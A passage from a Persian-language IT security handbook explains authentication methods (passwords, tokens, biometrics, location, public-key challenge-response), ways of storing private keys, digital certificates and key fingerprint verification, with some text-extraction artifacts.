تواننـد  نيـد، آنهـا مـي     كه اگر خلف وعده     ك و اطلاع از اين موضوع       -ه اتومبيل آنها را بازگردانيد تعهد شماست        كماشين از شما دارد     
  .افتادنند و شما احتمالاً به زندان خواهيد كارت اعتباري شما را باطل ك

ارت اعتبـاري   ك رانندگي، گذرنامه و يا      ةاين گواهينام .  شما براي آن مفهوم خاصي نداشت      شناخت، تعهد رايه شما را نمي   كاگر آژانس   
ارت اعتبـاري شـما   ك ـه آيـا  كدهد در عرض چند ثانيه بفهمد  ان مي كرايه ام كاي به آژانس     جهاني رايانه  ةكنار شب كه در   كست   ا شما

  .ندكآگاه کرده به شما که  يتمادرا از اع مربوط به آنةت بيمكارتان و شركدزدي است يا خير، و محل 

 ك مـدر  ك گذرنامه به ايـن دليـل ي ـ       كي. اند قرار داده شده   كي آنها ملا  ك شناسايي چاپي، قابليتهاي ارزيابي فيزي     كدر طراحي مدار  
ل ك، جعـل آن مـش     )س، امـضا  كجنس، قد، وزن، ع   (هستند  ي قابل ارزيابي    كه بطور فيزي  كه حاوي اطلاعاتي است     كشناسايي خوب است    

https://telegram.me/karnil
www.karnil.com


 راهنماي امنيت فناوري اطلاعات ٣١٤ 

ه قبـل از    ك ـشـود     ز معتبر، مورد اعتماد، و مشهور صادر مـي        ك مر ك ي ة، و بوسيل  قرار بگيرد سوء استفاده   تواند مورد   براحتي نمي ست،  ا
 از ايـن صـفات      كنگـاري واجـد هيچي ـ     باشگاه روزنامه  كارت عضويت در ي   كس،  كبرع. ندك ، هويت فرد را بررسي مي     ك مدر صدورِ
  .نيست

  فنون شناسايي توسط رايانه
حتـي  . اي بـسيار بـزرگ هـستند    اربري و رمزهاي عبور بخشي از سيستمهاي رايانـه      كهاي  ه شناسه ك سال است    پنجاهاي بيش از    بر

تواننـد    ه مي كاند    افزارهايي مجهز شده    نون به نرم  كاند، ا    اول وجود خود فاقد رمزهاي عبور بوده       ةه در دو ده   كهاي شخصي هم      رايانه
مبتنـي بـر   هاي ه سيستمكليدي وجود دارد ك تفاوت كي. نندكنترل  كري و رمزهاي عبور، دسترسيها را       اربكهاي  با استفاده از شناسه   

ثـر  كاهرچنـد   . ندك  مي كيك آن بحث شد تف    ةه در اوايل اين فصل دربار     ك كهاي مبتني بر مدار   اربر و رمز عبور را از سيستم      ك هشناس
اربر و رمـز عبـور تنهـا        ك هاند، سيستمهاي مبتني بر شناس      د چاپ شده  ه بايد شناسايي شون   ك شناسايي با اسم واقعي اشخاصي       كمدار

. اربري خـاص اسـت    ك ـ حـساب    كاربر مجـاز ي ـ   كليد نشسته   كه جلوي صفحه  كه شخصي   كمند به اثبات اين موضوع هستند       علاقه
 ـ   اربر و رم ـ  ك ـهاي شناسه   ه سيستم كار دارند، درحالي  ك با شناسايي قطعي سرو    كهاي سنتي مبتني بر مدار    سيستم  شناسـايي   از عبـور ب

. ل اسـت  كالعاده مـش     عمل فوق  كاي ي  سيستم رايانه  كانجام شناسايي قطعي براي ي    . ار دارند ك تداوم مجاز بودن سرو    احرازنسبي يا   
 امنيـت رايانـه معمـولاً ايـن سيـستمها را بعنـوان              ةافراد باتجربه در زمين   . اندعوض سيستمهاي شناسايي نسبي زيادي بوجود آمده      در

بخـشهاي بعـدي ايـن    . نندكمعرفي مي" ه هستيدكآنچه "، و يا "ه در اختيار داريدكچيزي "، "دانيده ميكچيزي "ي مبتني بر   سيستمها
  ".ه در آن قرار داريدكجايي : " روش جديدتركنار يكدهند، در سه روش سنتي را شرح مي

  دانيد ه ميكچيزي : هاي مبتني بر رمز عبور سيستم

 ة شناس ـ كاربر سيستم ي  كدر اين سيستمها به هر      . ردندكار مي ك شناسايي ديجيتالي هم بر اساس رمز عبور         هايترين سيستم   ابتدايي
شده بـا   اگر رمز عبور تايپ   . نيدك رمز عبور را تايپ      كافي است شود؛ براي اثبات هويت خود به رايانه         رمز عبور داده مي    كاربري و ي  ك

  .ندك ه ادعا ميكسي است كه فرد همان كداشته باشد فرض بر آن خواهد بود ه در رايانه ذخيره شده همخواني كرمز عبوري 

تـرين  افزار خاصي نياز ندارند، همچنـان پـر اسـتفاده           توانند مورد استفاده قرار گيرند و به هيچ سخت          چون رمزهاي عبور به آساني مي     
نـون دههـا رمـز عبـور        كثر مـا ا   ك اين رواج زياد، ا    ةج درنتي .ه در جهان امروز مورد استفاده قرار دارند       كسيستم تصديق هويت هستند     

هـاي  ارتك رمزهاي دسترسي بـه      ١٢٦،)هاPIN ( شناسايي شخصي  کدروزه بايد آنها را به ياد بياوريم؛ مواردي چون          ه تقريباً همه  كداريم  
ATM  ،ردن قفـل  كبـاز ردن قفـل تلفنهـاي سـيار،        كارتهاي تماس از راه دور، سيستمهاي پست صوتي و ماشينهاي پاسـخگو، بـاز             ك
. ي، و دسترسي به پايگاههـاي وب      كترونيكهاي ال دهندگان سرويس اينترنت تلفني، دريافت نامه     هاي روميزي، دستيابي به ارائه      رايانه

  .انده بعضي از آنها قابل رفع نيستند، که در صفحة مقابل آمدهكهاي عبور وجود دارد  ل در رابطه با رمزكچندين مش

ورود اولـين  در نند تا ك فرض استفاده ميها از رمزهاي عبور پيشبعضي از سيستم. ربران توزيع شونداكان رمزهاي عبور بايد مي    •
ن ك ـمانند و نيـز مم      نخورده باقي مي  فرضها دست ند، ولي معمولاً پيش   كرا تعيين   خود  اجازه دهند تا رمز عبور      به سيستم   اربر  ك

 .اربر مجاز نباشدكاربر، كاست اولين 

توانـد ايـن    رمزگذاري مي. ن است در ميان راه دزديده شوند     كشوند مم دور ارسال مي  راه   ة رايان كبه ي عبور  هاي  رمزهنگاميكه   •
ند و فرد ديگري از بـالاي  كوارد دستگاه خودپرداز  ك شناسايي شخصي خود را در ي      کداهش دهد، ولي اگر شخصي      كخطر را   

ه آن فرد نتواند آنرا از حالت رمز در بيـاورد وجـود             كاي  ين شماره بگونه   ا سازيببيند، آنگاه هيچ روشي براي رمزي     آنرا   او   ةشان
 !نخواهد داشت
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بـراي بـسياري از   ننـد،  كه افراد آنها را يادداشت كشود  شوند، و اين مسئله باعث مي رمزهاي عبور مناسب براحتي فراموش مي  •
ه براحتي قابل   ك، و يا رمزهاي عبور نامناسب       خاب نمايند انتتري    نند، رمزهاي عبور ساده   كاز رمز عبور مشابه استفاده      كاربردها  

 .ار برندكحدس هستند را ب

ه نبايـد،   ك ـه از منـابعي     كمجاز اجازه دهد    ن است به افراد غير    كار مم كه اين ك گذاشته شوند،    كتوانند به اشترا    عبور مي رمزهاي   •
 .نندكاستفاده 

  ه آنرا در اختيار داريدكچيزي : ١٢٧يكهاي فيزي نشان

ه در اختيار داشتن آنها به      كي  ك اشياي فيزي  -ست   ا نند استفاده از نشانها   كتوانند با آن هويت خود را اثبات          ه افراد مي  كيگري  روش د 
انـد؛ در   گرفتـه ي مـورد اسـتفاده قـرار    ك درهاي ورودي براي قرنها بعنوان نشانهاي دسترسي فيزي        ليدك. ندك نوعي هويت را اثبات مي    

. انـد   ميـل شـده   كانس راديـويي ت   ك ـارتي مغناطيسي يـا مبتنـي بـر فر        كهاي  ليدهاي فلزي با سيستم   كيد،  هاي جد بسياري از ساختمان  
ه بـه  كتا داشته باشد ك ية شماركتواند ي  ارت مي كليدي فلزي ارجحيت دارند، چون هر       كهاي  ارتي بر سيستم  كسيستمهاي دسترسي   

جاز در اختيار دارد تا بر اساس آن درهـاي مختلـف را بـاز               هاي م ارتكسيستم در عمل فهرستي از      .  هويت نسبت داده شده است     كي
 منشي سطح پائين نتواند براي دسترسي در        كارت ي كه مثلاً   كرد، بطوري كتوان اضافه     ارتها محدوديتهاي زماني نيز مي    كبه اين   . ندك

  .ساعات غير اداري مورد استفاده قرار گيرد

اربري خـود بـه     ك ـاربران بـراي دسترسـي بـه حـسابهاي          ك ـچون  : ا دارند مشي مخصوص به خود ر    هاي مبتني بر نشانها خط    سيستم
ارت بعنـوان  ك ـ كه ي ـك ـدهنـد؛ و زماني  انـد را گـزارش مـي    ه گم شده يا به سرقت رفتهكارتهايي كهايشان نياز دارند، به سرعت   رتاك
 بهبود بـراي    كاين ي . گيرد  لق مي ارت جديد به دارنده آن تع     ك كيبسادگي  گردد و   در سيستم ثبت شد معمولاً غيرفعال مي      " گمشده"

دهاي شناسايي شخصي خـود را بـدون از دسـت دادن دسترسـي              كتوانند    ه در آن افراد مي    كليد است،   كسيستمهاي مبتني بر صفحه   
  . بگذارندكخود، ميان افراد ديگر به اشترا

  :نشانها وجود داردسيستمهاي مبتني بر لاتي نيز براي كمشابه رمزهاي عبور، مش
توانـد   ها را در اختيار داشته باشد مي       يت نشانه كي مال كس بطور فيزي  كهر  . سي هستيد كه شما چه    كنند  ك  واقعاً ثابت نمي   نشانها •

 ؛ندك محدودشده دسترسي پيدا ةبه منطق
 ؛ ورده باشدكشده وارد شود، حتي اگر هويت وي تغيير نة محدودتواند به منطق ند ديگر نميك نشان را گم كسي يكاگر  •
 .شوند برداري يا جعل ميز نشانها به آساني نسخهبعضي ا •

ايـن موضـوع   . نماينـد مينشانها را تصديق اعتبار ه كبل ،نندك  سيستمهاي مبتني بر نشانها واقعاً افراد را شناسايي و تصديق اعتبار نمي   
يمـن معمـولاً سيـستم نـشانها بـا          هاي بسيار ا  به همين دليل در برنامه    . شودساز مي لك نشان به سرقت رود مش     كه ي كبويژه هنگامي 

. گيـرد مورد اشاره قرار مي  " تصديق هويت دو عاملي   " اين مسئله معمولاً تحت عنوان        که دشو  يخه مي بعضي از ابزار ديگر شناسايي آم     
ر  رمز تـصديق اعتبـا     كنيد و هم ي   ك ارائه    نشان كن است لازم باشد هم ي     ك رايانه مم  ك اتاق يا ي   كبراي مثال براي دسترسي به ي     

ي اسـتفاده   كبراي تـشخيص صـاحبان حـسابهاي بـان        از آن   دستگاههاي خودپرداز    ةه بوسيل كي است   كنيكاين ت . سيستم نماييد وارد  
  .کنند مي

  ه شما هستيدكآنچه : معيارهاي زيستي

 معيـار   ك ي ـ ةهي ـنـد ت  كرفته رواج بيـشتري پيـدا مـي       ها جهت تعيين هويت افراد رفته        رايانه ةه استفاده از آن بوسيل    ك كنيكسومين ت 
شـود،    ناميده مي١٢٨)كبيومتري (معيار زيستي، كنيكاين ت. ه قبلاً از وي ثبت شده  كي از شخص و مقايسه آن با اطلاعاتي است          كفيزي
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 راهنماي امنيت فناوري اطلاعات ٣١٦ 

تواننـد انـواع مختلفـي داشـته باشـند، مثـل            ميمعيارهاي زيستي   .  شخص زنده است   كگيري چيزي در مورد ي      چون بر اساس اندازه   
  .DNA ل هندسي دست، حالت صدا، دستخط، مشخصات تايپ، و يا الگوهايك، عنبيه، اثر انگشت، شيهكتصاوير صورت، شب

. مـورد اسـتفاده قـرار گيرنـد       " تشخيص قطعـي  "و نيز   " تشخيص بعدي "توانند براي هر دو مورد        ميمبتني بر معيارهاي زيستي     فنون  
 ـ      اربر وارد سيـستم مـي     كه  كاولين باري   : تر است   استفاده از اين فنون براي تشخيص بعدي ساده         او ثبـت    كشـود اطلاعـات بيومتري

در معيارهـاي زيـستي     بـراي اسـتفاده از      . گـردد    جديد با آنچه قبلاً ثبت شـده مقايـسه مـي           كدر وروردهاي بعدي، بيومتري   . شود  مي
ت متحـده، پلـيس فـدرال       در ايالا . ها ايجاد شود  ك پايگاه داده بزرگ براي تناظر نامها با بيومتري        كه ي كتشخيص قطعي لازم است     

  .دهدتطبيق مي DNAي اسامي را با اثر انگشتان و ديگري با عناصر كه يكهايي مجهز است  به چنين پايگاه داده) FBI(ا كآمري

شـوند،    آنها فراموش و يا گم نمي     . دو مزيت واضح دارد   استفاده از معيارهاي زيستي     در مقايسه با رمزهاي عبور و نشانهاي دسترسي،         
 از آزمايشگاهها به سطح     كنولوژي بيومتري كولي انتقال ت  . باشند  برداري، و يا سرقت نمي      پيك گذاشتن،   كحتي نيز قابل به اشترا    و برا 

ه در آن سيـستم  ك ـوجـود دارد،  ) اشـتباه مثبـت   (False Positiveاز  ي سطح معينكهاي بيومترية سيستمدر هم. ل استكبازار مش
ه در آن سيستم ك وجود دارد، )اشتباه منفي (False Negativeمشابه اين مسئله براي . ندكلام ميند، اعكه نبايد اعلام كتطبيقي را 
 تطبيقهـاي   انك ـاهش ام ك ـبـراي   . باشـند    شخص واحد مي   كه از ي  ك از افراد مختلف هستند، درحالي     كه دو بيومتري  كند  ك اعلام مي 

در مورد رمزهاي عبـور معمـولاً از        . نندك يب مي ك تر  عبور يا نشان    رمز كرا با ي  معيار زيستي   ،  كهاي بيومتري اشتباه، بعضي از سيستم   
ي، مثـل حالـت صـدايش را        ك بيـومتري  ة نمون كند و سپس ي   ك را تايپ    PINد شناسايي مخفي مثل     ك كيکه  شود    اربر خواسته مي  ك

شـده   را با الگوي ذخيرهكيومتريند، و سپس بك شده استفاده مي ذخيرهة پروندكبراي بازيابي يکد شناسايي  سيستم از آن    . ارائه دهد 
ي از مقـادير معيارهـاي      ك ـ بـا تنهـا ي     -  بجاي تمام پايگـاه داده     - شده را  ارائه كدر اين روش، سيستم بايد بيومتري     . نمايد مقايسه مي 

  .ندكشده مقايسه ذخيره

  :؛ چراکهمعيارهاي زيستي دقيق نيستند
 ؛ رايانه باشدةي وي بايد در پايگاه دادكيه شخص بخواهد شناسايي شود، مشخصات بيومتركقبل از اين •
 ؛ وارزش خواهد شد  بيكي مورد نفوذ قرار بگيرد، شناسايي بر اساس بيومتريكهاي بيومتري مشخصهةاگر پايگاه داد •
. پذير خواهند بـود  لاهبرداري و تحريف آسيبكگيري بطور خاص حفاظت نشود، تجهيزات نسبت به      ه تجهيزات اندازه  كتا زماني  •

ردن صـداي   ك ـ سيستم شناسايي بر اساس صـدا، بتوانـد بـا ضـبط              كن است در برخورد با ي     ك دزد باهوش مم   ك مثال ي  براي
را ، باز گرداندن نوار به عقب، و سپس پخش مجدد صداي ضبط شـده، آن سيـستم   )گويـد وقتي رمز عبور خود را مي    (شخص مجاز   

  .فريب دهد

  ه در آن قرار داريدكجايي : انكم

ننـد، امـروزه اسـتقرار سيـستمهاي تـصديق        كاربران خود را معـين      كه به آساني بتوانند محل      كاي بصورتي   هاي رايانه مة سيست با توسع 
تواند براي بدست آوردن اطلاعـات محـل       مي ١٢٩(GPS) ياب جهاني سيستم موقعيت چه  اگر. انپذير است كهويت مبتني بر موقعيت ام    

ار ك ـمعمـولاً در اتاقهـاي دربـسته         GPSه  ك ـي اين ك ـي: اربرد وجود دارد  كدر اين    GPSار رود، اما دو مانع جدي براي استفاده از          كب
ه بايـد ارزيـابي     ك ـبه سرويس راه دور      GPSننده  ك اني از دريافت  كه هيچ راهي براي دريافت ايمن اطلاعات م       كند، و ديگر اين   ك نمي

اني ك ـني بـر موقعيـت اسـتفاده از خـدمات م           انتخاب بهتر براي سيستمهاي تصديق هويت مبت       كي. صحت را انجام دهد وجود ندارد     
اربر را تـشخيص  ك ـان ك ـتواند م ه ميكبا اين سيستمها شب. هاي تلفن موبايل استهكارائه شده توسط بعضي از شب ) مبتني بر موقعيـت   (

فتن اطلاعـات   استفاده قرار گر   ان مورد سوء  كند، بدون نگراني از ام    كز خدمات گزارش    كدهد و سپس اين اطلاعات را مستقيماً به مر        
  .اربركهنگام انجام شدن عمليات تصديق هويت 
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.  عمـل خـاص باشـد      كه مجاز به اجراي ي    ك مخصوصي است    ة تصديق هويت بر اساس محل، داشتن رايانه يا پايان         ةل ساد ك ش كي
 سيستم  كهنوز بعنوان ي  " موقعيت"تا به امروز،    . انهاي ديگر قرار دارند از داشتن چنين امتيازاتي محروم خواهند بود          كه در م  كافرادي  

  .ار نرفته استكعمومي براي تصديق هويت ب

 ليدهاي عمومي براي شناساييكاستفاده از 
 فـرد   كبـراي شناسـايي ي ـ    :  هستند ك نقص مشتر  كه پيشتر به آنها اشاره شد همه داراي ي        كهاي شناسايي و تصديق هويت      كنيكت

اگر آن شخص   . دهد حاضر باشد  ه عمليات شناسايي را انجام مي     كشخصي  بصورت قابل اطمينان، آن شخص بايد در مقابل رايانه يا           
، احتمـال  "راركحملات ت"ان وقوع ك بدليل ام-س، و يا از طريق اينترنت صورت بگيرد         ك اگر شناسايي بوسيله تلفن، فا     -حاضر نباشد   

  .تحريف و سوء استفاده بسيار بالاست

. دهد ديگري عمليات ارزيابي صحت را انجام ميةند و رايانكاربر را ثبت ميكانگشت  رايانه اثر كه در آن ي كنيد  كموقعيتي را تصور    
. شـود بـدزدد  ه منتقـل مـي  كه از روي شـب ك ـد ديجيتالي اثر انگـشت را هنگامي كه كان وجود دارد ك براي مهاجم اين امصورتدر اين 
ه گفتـه شـد   ك ـهمـانطور  . نـد كيت قرباني از آن استفاده تواند براي جعل هو ه مهاجم انتقال اثر انگشت را در اختيار گرفت مي    كهمين
  .سيستمهاي تشخيص ديجيتالي است تهديد جدي براي كدرحال حاضر ي راركتهاي حمله

ليد عمومي براي تـشخيص  كه از سيستمهاي كزماني. اهش دهدكتواند احتمال خطر حملات را    ليد عمومي مي  كه رمزنگاري   كگفتيم  
ليـد خـصوصي هيچگـاه از    كچـون  . رود ار ميكليد عمومي براي تشخيص آن بكي براي ايجاد امضا و ليد خصوصكشود، استفاده مي 

 هـيچ فرصـتي بـراي مهـاجم         -شود    لذا هيچگاه روي سيم فرستاده نمي     و   -گردد  شود خارج نمي  ه شناسايي مي  كيت شخصي   كمال
  .ندكه استفادخود ليد خصوصي را بدزدد و از آن براي اهداف شوم كه كوجود ندارد 

در حالـت تـصديق   . ار رودك ـ بoffline و هـم بـصورت   onlineتواند براي تصديق هويت، هم بـصورت   ليد عمومي مي  كرمزنگاري  
در حالت تـصديق    . تواند در آينده ارزيابي شود      ه صحت آن مي   كسازد   ديجيتالي مي  ة پيام امضاشد  كاربر ي ك،  offlineهويت بصورت   

 ك راه دور ي ـ   ةدهنـد سرويس. شود   راه دور تصديق هويت مي     ةدهند سرويس ك ي ة بوسيل ١٣٠نگبلادراربر بصورت   ك،  onlineهويت  
اربر آنـرا بـصورت     كليد خصوصي   ك ةاربر بوسيل ك ةند و رايان  ك اربر ارسال مي  ك ةبه رايان ايجادشده  بصورت تصادفي   که   ١٣١مباحثه ةداد

را مباحثـه    ةاربر داد ك ـليـد عمـومي     ك راه دور بـا      ةدهنـد س روش ديگـر، سـروي     كگرداند، و يا در ي ـ      ند و باز مي   ك ديجيتالي امضا مي  
بـصورت  آن  ه بـا رمزگـشايي و بـازپس فرسـتادن           ك ـنمايد،  اربر ارسال مي  كشده را براي    رمزگذاريمباحثة   ةند و داد  كرمزگذاري مي 

لـي سيـستمهاي    كطـور    پاسـخ، ب   -مباحثـه   ل  ك ـبـدليل پروت  . رسـاند مياثبات  به  دهنده هويت او را     ليد عمومي سرويس  كرمزشده با   
online نسبت به سيستمهاي offlineاز امنيت بيشتري برخوردار هستند .  

  ليدهاي خصوصيكنترل و مديريت ك

قادر بودن بـه انجـام   . افتد دقيقاً اثبات هويت نيست   ه مي كرود، اتفاقي     ار مي ك امضاي ديجيتالي براي اثبات هويت فرد ب       كه ي كزماني
يـت  كليد خصوصي خـاص در مال     ك كه ي كدهد    ه تنها نشان مي   ك شخص خاص هستيد، بل    كه شما ي  كند  ك امضاي معتبر اثبات نمي   

را " Batman"و  " لينتـون كهـيلاري   "ليدهايي مربوط بـه     كتوان  ليد عمومي مي  كهاي  دهندهبه همين دليل روي سرويس    . ست ا شما
  .ردكنيز پيدا 

  :گرددت شود چندين پيش شرط بايد برآورده ه تصديق صحت امضاي ديجيتالي تبديل به تصديق هويكبراي اين
 .ار رودكنفر بك يةليد خصوصي بايد تنها بوسيلك/ ليد عوميكهر جفت  .١
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ن است توسط ديگران مورد سوء اسـتفاده، دزدي، و          كدر غير اينصورت مم   . ليد خصوصي بايد بصورت ايمن نگهداري شود      كاز   .٢
 .لاهبرداري قرار گيردك

ليد در حقيقت نام    كه نام روي    كند  كند بتواند اعتماد    كه هويت را ارزيابي مي    كه شخصي   كست،   اطمينان نياز ا   مكانيزم كبه ي  .٣
 .ليد استكصحيح صاحب فعلي آن 

چنانچـه  . نـد كليد عمومي متناظر محاسـبه  كليد خصوصي را از روي    كن است مهاجم بتواند     كليدها بدون دقت ايجاد شوند، مم     كاگر  
  .ليد خصوصي را بدزددكن است مهاجم به آساني بتواند كمليدها بطور صحيح ذخيره نشوند، مك

ه معمـولاً   كاز اين بدتر اين   . سازي صحيح آنها بسيار دشوار است     رسند، اما پياده     نگاه سطحي اين قوانين ساده بنظر مي       كهرچند در ي  
تـر هـست يـا    يگـر امـن   سيـستم د كه از يكرد و تشخيص داد     كت را ارزيابي    ك شر كليد عمومي ي  كه سيستم   كبسيار سخت است    

  .نيست

  : از قرار زير هستنداهش ايمنيكاين راهها تقريباً بترتيب . ليدها چند روش متفاوت وجود داردك ةبراي ايجاد و ذخير

 ك داراي ي ـ  ،ليـد عمـومي   كارت هوشـمند سـازگار بـا        ك ـ كي ـ. ار بريـد  ك ـارت هوشمند ب  ك رمزنگاري مثل    ةپردازندكمك كي .١
 همچنـين   ، و ليد عمومي اسـت   ك ةالگوريتمهاي اولي توابع مربوط به     و   ، اعداد تصادفي  ةنندكيجاد  افزار ا    سخت ك ي ،ريزپردازنده

ليـد خـصوصي هيچگـاه از       ك از لحاظ نظري  . ندكليد عمومي را نگهداري     كهاي    ليدها و گواهي  كتواند    ه مي كدارد   حافظه   كي
ارت ك ـنيد، آن بخش از اطلاعـات بايـد بـه           كشايي  چنانچه بخواهيد بخشي از اطلاعات را امضا يا رمزگ        . شودارت خارج نمي  ك

ليـد  كتواننـد از      بنابراين مهاجمين نمـي   . گرددارت منتقل مي  كشده از روي    منتقل شود، و سپس جواب امضا شده يا رمزگشايي        
اي ه ـ، گيرنـده  کدهاي شناسايي ،  رمزهاي عبور . نندكارت هوشمند را پيدا     كيت  كه خودشان مال  كنند مگر آن  كخصوصي استفاده   

ارت تنهـا درصـورتي     ك ـارتهاي هوشمند افزوده شوند تـا       كتوانند به   ميمعيارهاي زيستي   اثر انگشت، يا ساير وسايل شناسايي       
 .ارت تصديق هويت شده باشدك ةارت بوسيلك ةه دارندكند كامضا را ايجاد 

ارت گـم شـود،     ك ـاگـر   . باشـند پذير مـي  ستكاملاً ش كارتهاي هوشمند بدون نقص نيستند و از بعضي جهات          كاز طرف ديگر    
ليـدهاي روي   كبنابراين اگر   . نيستندكاربر  روند و ديگر در دسترس        ليدهاي روي آن از بين مي     كدزديده شود، و يا آسيب ببيند،       

ردن از  ك ـپـي   ك  ن است بخواهيم نوعي سيستم    كروند، مم   ار  كارتها قرار است براي مدت طولاني براي رمزگذاري اطلاعات ب         ك
ليـدها تنهـا بـراي امـضاهاي     كهرچنـد اگـر ايـن     . نـيم كليد جلـوگيري    كقابل استفاده شدن    شته باشيم تا از غير    داارت  كروي  

ننـده جديـد    كليـد امـضا     ك كافي است ي  كننده گم شود،    كليد امضا   ك كاگر ي . ارها نيست كار روند نيازي به اين      كديجيتالي ب 
. امل در مقابل سوء استفاده ايمن نيستند      كارتهاي هوشمند بطور    ك .ودر   هيچ اطلاعاتي از بين نمي     ، و در اين فرآيند    بوجود بيايد 

 از ةتواند منجر به سوء استفاد ها ميعامل نقايص اين سيستم: نندك ي اجرا ميكوچكهاي  عاملتهاي هوشمند رمزنگاري سيستم   ارك
 در هـر صـورت    . زيـابي نمـود   ي آنـرا با   ليـدهاي رو  كرد و   كارت را تحليل    ك كي ي كتوان بصورت فيزي  همچنين مي . ليد شود ك
  .هاي خصوصي هستند ليدك ةترين روش براي ذخير حال حاضر ايمنارتهاي هوشمند درك

ه كزماني. نيدك ذخيره   Flash فلاپي يا    كشده را روي ديس   ليدهاي رمزگذاري كنيد و سپس    ك روميزي ايجاد    ةآنها را روي رايان    .٢
شده را در حافظه    ليد خصوصي رمزگذاري  كند، رايانه   ك گردان رايانه مي  ك فلاپي را وارد ديس    كاربر ديس كليد مورد نياز است،     ك

 كني ـكاين ت . نمايدشده استفاده مي   براي امضاي اطلاعات درخواست     ليدكند، و در نهايت از      كليد را رمزگشايي مي   كخواند،    مي
 يي رايانه منتقل شـود، جـا      ة حافظ ليد خصوصي بايد به   كمتري برخوردار است، چون در آن       كارت هوشمند از ايمني     كنسبت به   

 .هاي مخرب قرار گيرد اي، تراواها، و يا ساير برنامهويروسهاي رايانهدر آن مورد حملة ن است كه ممك

  ك فايـل روي ديـس     ك رمزگذاري نماييد و در ي     ١٣٢عبارت رمزي  كنيد و سپس آنرا با استفاده از ي       كليد را داخل رايانه ايجاد      ك .٣
بـراي حفاظـت از    Netscape Navigator وPGPهـايي مثـل    ه برنامـه ك ـي اسـت  كنيكاين ت. سخت رايانه ذخيره سازيد
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 ـ كه اگر كال آن اين است     كاشباشد، اما   مي يمناسبو هرچند تکنيک    نند،  كليدهاي خصوصي از آن استفاده مي     ك  ةسي بـه رايان
ليـد بـراي    كبنابراين چون   . ندكدست پيدا   ليد خصوصي شما    كتواند به     ند و عبارت رمزي شما را بداند مي       كشما دسترسي پيدا    

 .پذير است رايانه آسيبةهاي مخرب يا تراواها به حافظ  رمزگشايي شود، نسبت به حملات برنامه استفاده بايد توسط رايانه

ار را بـراي    ك ـه از شخص ديگري بخواهيد اين     كليد عمومي اين است     ك/ ليد خصوصي ك جفت   كترين روش براي ايجاد ي    ناامن .۴
ه طبق تعريف،   كل اصلي اين روش اين است       كمش. بگيريداز او   را  خود  ليدهاي عمومي و خصوصي     كانجام دهد و سپس     شما  

عليرغم ايـن مـورد، بعـضي       . د نسخه از آنرا در اختيار دار      كنفر ديگر ي  كيچراکه   ،ليد خصوصي مورد دستبرد قرار گرفته است      ك
 كنند؛ تـا سـازمان ي ـ  ك شخص ثالث استفاده ةشده بوسيل تهيههايليدكه از ك نندكافراد را مجبور مي  ) و بعضي دولتهـا   (ها  سازمان

در . نـد كشده بـراي اشـخاص را رمزگـشايي         ي ارسال كترونيكهاي ال  نامه ةبتواند هم  و   اربران داشته باشد  ك ةليد هم كنسخه از   
آن  ة روميزي و سـپس ذخيـر  ةيانليد روي راك ك ساختن ي-نند ك  سوم استفاده مي  ةعمل بيشتر سيستمهاي رمزنگاري از گزين     

  . سخت رايانهكروي ديس

  هاي ديجيتالي گواهي
هـا بـه امـضاهاي      ردن هويـت  ك ـ تلاشـهايي بـراي وصـل        ١٣٣(PKI) ليد عمومي ك ساختزير كهاي ديجيتالي و ي     استفاده از گواهي  

 هويت است   كه همراه ي  ه ب ك امضاي ديجتالي است     ك ي - نوع خاص امضاي ديجيتالي است       كگواهي ديجيتالي ي  . ديجيتالي است 
هـا بـراي    مـشي نولوژيها و خطكاي از ت     مجموعه PKI. ار تفسير شود  كها بصورت خود     رايانه ةه بتواند بوسيل  كاي طراحي شده     و بگونه 

 ليـد كرمزنگاري : گذاري اين سيستمها به پيوند همزمان سه مسئله وابستگي دارد     تأثير. هاي ديجيتالي است    ايجاد و استفاده از گواهي    
ه اجـراي صـحيح     ك ـ سيستم قـانوني     كشوند، و همچنين ي   ه دقيقاً اجرا و پشتيباني مي     كشده، سياستهايي   ه به دقت نوشته   كعمومي  

  . در ادامة همين فصل به تفصيل بحث شده استPKI در مورد .ندكسياستها را ضمانت 

ليـد  ك كه ي ـ ك ـخواهيد مطمـئن شـويد       مي چگونه. ل عميق فلسفي است   ك مش ك عمومي ي   ليدك ةل شناسايي ديجيتالي بوسيل   كمش
سب اطمينـان   ك ـنـامطمئن    مسئله   كتوان نسبت به ي   ليد است؟ چگونه مي   كه نامش روي    كعمومي مربوط به فرد يا سازماني است        

 تـوانيم در مـورد    شوند، در عمل مـي    ها دنبال مي  ز اين دستورالعمل  ه قوانين و فرايندهاي مشخص در ايجاد و حفاظت ا         كرد؟ از آنجا    ك
  .مي اطلاعات داشته باشيمكهاي ديجيتالي صحت اعتبار گواهيو ليدها كهويت صاحبان 

  :  آن است تعلق داردكند مالكه ادعا ميكليد عمومي واقعاً به فردي كه كسه روش اصلي براي تضمين اين موضوع وجود دارد 

 .املاً مطمئن شده باشيدكه از آن كد برسانيد اي به تأييليد عمومي را مستقيماً از خود فرد بگيريد و صحت آنرا بگونهك .١
 .رده استكليد را تأييد كه مورد اعتماد شماست ك فرد ديگر كه يكمطمئن شويد  .٢
 .ليد را گواهي داده استك صحت ،ز معتبر و مورد اعتمادك مركه يكمطمئن شويد  .٣

  ليدكتأييد شخصي صحت 

را در اختيار داريد انجام ملاقات با جين و تقاضا از او بـراي خوانـدن                " اردكجين ترو "ليد عمومي   كه شما   ك روش براي تضمين اين    كي
اگر شما جين را بخوبي بشناسيد و نيز به سيـستم تلفـن اعتمـاد    . ه شما داريدكليد با آن چيزي است ك رقم به رقم   ةليدش و مقايس  ك

نفـر بتوانـد   كن اسـت ي ك ـه در آن ممك ـطريـق اينترنـت    اما نه از  -توانيد اين مقايسه را از طريق تلفن انجام دهيد          داشته باشيد، مي  
  .ندكجايگزين جعلي ليد ك كيرقمهاي اطلاعات عمليات مقايسه را بدزدد و ارقام را با 

درعوض شما و جين    . ار جالبي نيست  ك رقم به رقم آنها      ةشوند، مقايس هاي بسيار طولاني ساخته مي      ليدهاي عمومي از شماره   كچون  
ايـن  . ديگر مقايـسه نماييـد  كها را با يترهاي آن خلاصهكاراكنيد و كليد را محاسبه كپيام رمزنگاري از  خلاصه كدام ي كتوانيد هر مي
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ليـد خـود را روي   كهاي  اثر انگشت،ليد عموميكاربران رمزنگاري كبعضي  . شوند  ناميده مي " ليدكهاي    اثر انگشت "ها معمولاً   خلاصه
ليد عمومي او را   كتوانيد بعداً     رده باشيد، مي  كارت تجاري را مستقيماً از جين دريافت        كشما  نند، لذا اگر    كارتهاي تجاريشان چاپ مي   ك

downloadو صحت آنرا بررسي نماييد .  

  ليدهاي ساير افرادكتصديق 

